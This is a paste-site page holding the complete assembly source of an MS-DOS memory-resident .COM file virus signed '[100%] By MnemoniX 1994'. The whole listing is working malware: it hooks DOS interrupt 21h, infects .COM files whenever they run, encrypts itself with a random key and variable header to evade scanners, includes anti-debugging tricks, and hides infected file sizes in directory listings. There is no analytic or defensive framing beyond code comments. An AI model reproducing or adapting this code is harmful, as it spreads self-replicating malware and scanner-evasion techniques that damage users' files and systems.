Advertisement
FlyFar

Virus.MSDOS.Unknown.100%25.asm - Memory Resident .COM Infector - Source Code

Mar 14th, 2023 (edited)
1,268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 15.07 KB | Cybersecurity | 0 0
  1. PING            equ     30F4h                   ; give INT 21 this value ...
  2. PONG            equ     0DEADh                  ; if this returns we're res.
  3. ID              equ     '%0'                    ; ID marker
  4. HEADER_SIZE     equ     22                      ; 22 - byte .COM header
  5. MARKER          equ     20                      ; marker at offset 20
  6.  
  7. code            segment byte    public  'code'
  8.                 org     100h
  9.                 assume  cs:code
  10.  
  11. start:
  12.                 db      17 dup (90h)            ; simulate infected program
  13.                 jmp     virus_begin             ; a real host program will
  14.                 dw      ID                      ; have some MOVs at the
  15. host:
  16.                 db      0CDh,20h                ; beginning
  17.                 db      20 dup(90h)
  18.  
  19. virus_begin:
  20.                 db      0BBh                    ; mov bx,offset viral_code
  21. code_offset     dw      offset virus_code
  22.                 db      0B8h                    ; mov ax,cipher
  23. cipher          dw      0
  24.                 mov     cx,VIRUS_SIZE / 2 + 1   ; mov cx,length of code
  25. decrypt:
  26.                 xor     [bx],ax                 ; in real infections,
  27.                 ror     ax,1                    ; portions of this code
  28.                 inc     bx                      ; will be replaced with
  29.                 inc     bx                      ; dummy bytes, which will be
  30.                 loop    decrypt                 ; fixed up by the header.
  31.                                                 ; this complicates scanning
  32. virus_code:
  33.                 call    $+3                     ; BP is instruction pointer
  34.                 pop     bp
  35.                 sub     bp,offset $-1
  36.                
  37.                 xor     ax,ax                   ; anti-trace ...
  38.                 mov     es,ax                   ; set interrupts 0-3 to point
  39.                 mov     di,ax                   ; to The Great Void in high
  40.                 dec     ax                      ; memory ...
  41.                 mov     cl,8
  42.                 rep     movsw
  43.                
  44.                 mov     ax,PING                 ; test for residency
  45.                 int     21h
  46.                 cmp     bx,PONG
  47.                 je      installed
  48.  
  49.                 in      al,21h                  ; another anti-debugger
  50.                 xor     al,2                    ; routine ... lock out
  51.                 out     21h,al                  ; keyboard
  52.                 xor     al,2
  53.                 out     21h,al
  54.  
  55.                 mov     ax,ds                   ; not resident - install
  56.                 dec     ax                      ; ourselves in memory
  57.                 mov     ds,ax
  58.  
  59.                 sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  60.                 sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
  61.                 mov     ax,ds:[12h]
  62.                 mov     ds,ax
  63.  
  64.                 sub     ax,15
  65.                 mov     es,ax
  66.                 mov     byte ptr ds:[0],'Z'
  67.                 mov     word ptr ds:[1],8
  68.                 mov     word ptr ds:[3],(MEM_SIZE + 15) / 16
  69.  
  70.                 push    cs                      ; now move virus into memory
  71.                 pop     ds
  72.                 mov     di,100h
  73.                 mov     cx,(offset virus_end - offset start) / 2
  74.                 lea     si,[bp + offset start]
  75.                 rep     movsw
  76.  
  77.                 xor     ax,ax                   ; change interrupt 21 to point
  78.                 mov     ds,ax                   ; to ourselves
  79.  
  80.                 mov     si,21h * 4
  81.                 mov     di,offset old_int_21    ; (saving original int 21)
  82.                 movsw
  83.                 movsw
  84.  
  85.                 mov     word ptr ds:[si - 2],0  ; anti-trace - temporarily
  86.                                                 ; kill int 21
  87.                 mov     ds:[si - 4],offset new_int_21
  88.                 mov     ds:[si - 2],es
  89.  
  90. installed:
  91.                 push    cs                      ; restore segregs
  92.                 push    cs
  93.                 pop     ds
  94.                 pop     es
  95.                 lea     si,[bp + offset host]   ; and restore original
  96.                 mov     di,100h                 ; bytes of program
  97.                 push    di
  98.                 mov     cx,HEADER_SIZE
  99.                 rep     movsb
  100.  
  101.                 ret                             ; and we're done
  102.  
  103. ; Interrupt 21 handler - trap file execute, search, open, read, and
  104. ; moves to the end of the file.
  105.  
  106. int_21:
  107.                 pushf
  108.                 call    dword ptr cs:[old_int_21]
  109.                 ret
  110.  
  111. new_int_21:
  112.                 cmp     ax,30F4h                ; residency test?
  113.                 je      test_pass               ; yes ....
  114.  
  115.                 cmp     ax,4B00h                ; file execute?
  116.                 jne     stealth
  117.                 jmp     execute                 ; yes, infect ...
  118.  
  119. stealth:
  120.                 cmp     ah,11h                  ; directory stealth
  121.                 je      dir_stealth_1
  122.                 cmp     ah,12h
  123.                 je      dir_stealth_1
  124.  
  125.                 cmp     ah,4Eh                  ; more directory stealth
  126.                 je      dir_stealth_2
  127.                 cmp     ah,4Fh
  128.                 je      dir_stealth_2
  129.  
  130. int_21_exit:
  131.                 db      0EAh                    ; never mind ...
  132. old_int_21      dd      0
  133.  
  134. test_pass:
  135.                 call    int_21                  ; get real DOS version
  136.                 mov     bx,PONG                 ; and give pass signal
  137.                 iret
  138.  
  139. dir_stealth_1:
  140.                 call    int_21                  ; perform directory search
  141.                 cmp     al,-1                   ; no more files?
  142.                 jne     check_file
  143.                 iret                            ; no, skip it
  144. check_file:
  145.                 push    ax bx es                ; check file for infection
  146.  
  147.                 mov     ah,2Fh
  148.                 int     21h
  149.  
  150.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  151.                 jne     no_ext_FCB
  152.                 add     bx,7
  153.  
  154. no_ext_FCB:
  155.                 cmp     word ptr es:[bx + 9],'OC'
  156.                 jne     fixed                   ; not .COM file, ignore
  157.  
  158.                 mov     ax,word ptr es:[bx + 17h]
  159.                 and     al,31                   ; check seconds -
  160.                 cmp     al,26                   ; if 52, infected
  161.                 jne     fixed
  162.  
  163.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
  164.                 sbb     word ptr es:[bx + 1Fh],0
  165. fixed:
  166.                 pop     es bx ax
  167.                 iret
  168.  
  169. dir_stealth_2:
  170.                 call    int_21                  ; perform file search
  171.                 jnc     check_file_2            ; if found, proceed
  172.                 retf    2                       ; nope, leave
  173. check_file_2:
  174.                 push    ax bx si es
  175.  
  176.                 mov     ah,2Fh                  ; find DTA
  177.                 int     21h
  178.  
  179.                 xor     si,si                   ; verify that this is a .COM
  180. find_ext:
  181.                 cmp     byte ptr es:[bx + si],'.'
  182.                 je      found_ext
  183.                 inc     si
  184.                 jmp     find_ext
  185. found_ext:
  186.                 cmp     word ptr es:[bx + si + 1],'OC'
  187.                 jne     fixed_2                 ; if not .COM, skip
  188.  
  189.                 mov     ax,word ptr es:[bx + 16h]
  190.                 and     al,31                   ; check for infection marker
  191.                 cmp     al,26
  192.                 jne     fixed_2                 ; not found, skip
  193.  
  194.                 sub     word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
  195.                 sbb     word ptr es:[bx + 1Ch],0
  196. fixed_2:
  197.                 pop     es si bx ax             ; done
  198.                 clc
  199.                 retf    2
  200.  
  201. execute:
  202.                 push    ax bx cx dx di ds es    ; file execute ... check
  203.                                                 ; if uninfected .COM file,
  204.                 mov     ax,3D00h                ; and if so, infect
  205.                 call    int_21
  206.                 jnc     read_header
  207.                 jmp     exec_exit               ; can't open, leave
  208.  
  209. read_header:
  210.                 xchg    ax,bx
  211.  
  212.                 push    bx                      ; save file handle
  213.                 mov     ax,1220h                ; get system file table
  214.                 int     2Fh                     ; entry
  215.  
  216.                 nop                             ; remove this if you don't
  217.                                                 ; mind scanning as [512] under
  218.                                                 ; SCAN ...
  219.  
  220.                 mov     bl,es:[di]              ; get number of the SFT
  221.                 mov     ax,1216h                ; for this handle
  222.                 int     2Fh                     ; ES:DI now points to SFT
  223.                 pop     bx
  224.  
  225.                 mov     word ptr es:[di + 2],2  ; change open mode to R/W
  226.  
  227.                 push    word ptr es:[di + 13]   ; save file date
  228.                 push    word ptr es:[di + 15]   ; and file time
  229.  
  230.                 mov     ax,word ptr es:[di + 11h]
  231.                 cmp     ax,62579 - VIRUS_SIZE   ; too big?
  232.                 je      exec_close
  233.  
  234.                 cmp     ax,22                   ; too small?
  235.                 jb      exec_close
  236.  
  237.                 add     ax,HEADER_SIZE - 3      ; calculate virus offset
  238.  
  239.  
  240.                 push    cs
  241.                 pop     ds
  242.  
  243.                 mov     ds:virus_offset,ax
  244.  
  245.                 mov     ah,3Fh                  ; read header of file
  246.                 mov     cx,HEADER_SIZE          ; to check for infection
  247.                 mov     dx,offset read_buffer
  248.                 call    int_21
  249.  
  250.                 cmp     word ptr ds:read_buffer,'ZM'
  251.                 je      exec_close              ; don't infect .EXE
  252.  
  253.                 cmp     word ptr ds:read_buffer[MARKER],ID  ; if infected
  254.                 je      exec_close              ; already, skip it
  255.  
  256.                 mov     ax,4202h                ; move to end of file
  257.                 call    move_ptr_write
  258.  
  259.                 mov     dx,offset read_buffer   ; and save header
  260.                 call    int_21
  261.  
  262.                 call    encrypt_code            ; encrypt the virus code
  263.                 call    create_header           ; and create unique header
  264.  
  265.                 mov     ah,40h
  266.                 mov     cx,VIRUS_SIZE           ; write virus code to file
  267.                 mov     dx,offset encrypt_buffer
  268.                 int     21h
  269.  
  270.                 mov     ax,4200h                ; back to beginning of file
  271.                 call    move_ptr_write
  272.  
  273.                 mov     dx,offset new_header    ; write new header
  274.                 call    int_21
  275.  
  276.                 pop     dx                      ; restore file date & time
  277.                 pop     cx
  278.                 and     cl,0E0h                 ; but with timestamp
  279.                 or      cl,26
  280.                 mov     ax,5701h
  281.                 int     21h
  282.  
  283.                 mov     ah,3Eh                  ; close file
  284.                 int     21h
  285.  
  286. exec_exit:
  287.                 pop     es ds di dx cx bx ax
  288.                 jmp     int_21_exit
  289.                
  290. move_ptr_write:
  291.                 cwd                             ; move file pointer
  292.                 xor     cx,cx
  293.                 int     21h
  294.                 mov     cx,HEADER_SIZE          ; and prepare for write
  295.                 mov     ah,40h                  ; to file
  296.                 ret
  297.  
  298. exec_close:
  299.                 pop     ax ax                   ; clean off stack
  300.                 mov     ah,3Eh                  ; and close
  301.                 int     21h
  302.                 jmp     exec_exit
  303.  
  304. encrypt_code    proc    near
  305.  
  306.                 push    si es
  307.  
  308.                 push    cs
  309.                 pop     es
  310.  
  311.                 xor     ah,ah                   ; get random no.
  312.                 int     1Ah                     ; and store in decryption
  313.                 mov     cipher,dx               ; module
  314.  
  315.                 mov     ax,ds:virus_offset
  316.                 add     ax,DECRYPTOR_SIZE + 103h
  317.                 mov     code_offset,ax
  318.                
  319.                 mov     si,offset virus_begin   ; first store header
  320.                 mov     di,offset encrypt_buffer
  321.                 mov     cx,DECRYPTOR_SIZE
  322.                 rep     movsb                   ; (unencryted)
  323.  
  324.                 mov     cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
  325.  
  326. encrypt:
  327.                 lodsw                           ; simple encryption routine
  328.                 xor     ax,dx
  329.                 ror     dx,1
  330.                 stosw
  331.                 loop    encrypt
  332.  
  333.                 pop     es si
  334.                 ret
  335.  
  336. encrypt_code    endp
  337.  
  338. create_header   proc    near
  339.  
  340.                 mov     ax,ds:virus_offset      ; fix up addresses in new
  341.                 add     ax,103h + (offset decrypt - offset virus_begin)
  342.                 mov     ds:mov_1,ax             ; header
  343.                 inc     ax
  344.                 inc     ax
  345.                 mov     ds:mov_2,ax
  346.  
  347.                 xor     ah,ah                   ; fill in useless MOVs
  348.                 int     1Ah                     ; with random bytes
  349.                 mov     ds:mov_al,cl
  350.                 mov     ds:mov_ax,dx
  351.  
  352.                 push    es cs
  353.                 pop     es
  354.                 mov     di,offset encrypt_buffer
  355.                 add     di,offset decrypt - offset virus_begin
  356.                 mov     ax,dx                   ; now fill decryption module
  357.                 neg     ax                      ; with some garbage
  358.                 stosw
  359.                 rol     ax,1
  360.                 stosw
  361.                 pop     es
  362.  
  363.                 sub     word ptr ds:virus_offset,17 ; fix up JMP instruction
  364.  
  365.                 ret                             ; done
  366. create_header   endp
  367.  
  368. new_header      db      0C7h,06
  369. mov_1           dw      00
  370.                 db      31h,07                  ; first MOV            6
  371.                 db      0B0h
  372. mov_al          db      00                      ; a nothing MOV AL,    2
  373.                 db      0C7h,06
  374. mov_2           dw      00
  375.                 db      0D1h,0C8h               ; second MOV           6
  376.                 db      0B8h
  377. mov_ax          dw      00                      ; a nothing MOV AX,    3
  378.                 db      0E9h                    ; jump instruction     1
  379. virus_offset    dw      0                       ; virus offset         2
  380.                 dw      ID                      ; ID marker            2
  381.                                                 ; total bytes =       22
  382.  
  383. sig             db      '[100%] By MnemoniX 1994',0
  384.  
  385. virus_end:
  386.  
  387. VIRUS_SIZE      equ     offset virus_end - offset virus_begin
  388.  
  389. read_buffer     dw      HEADER_SIZE dup (?)     ; storage for orig header
  390. encrypt_buffer  dw      VIRUS_SIZE dup (?)      ; storage for encrypted virus
  391.  
  392. heap_end:
  393.  
  394. MEM_SIZE        equ     offset heap_end - offset start
  395. DECRYPTOR_SIZE  equ     offset virus_code - offset virus_begin
  396. ENCRYPTED_SIZE  equ     offset virus_end - offset virus_code
  397.  
  398. code            ends
  399.                 end     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement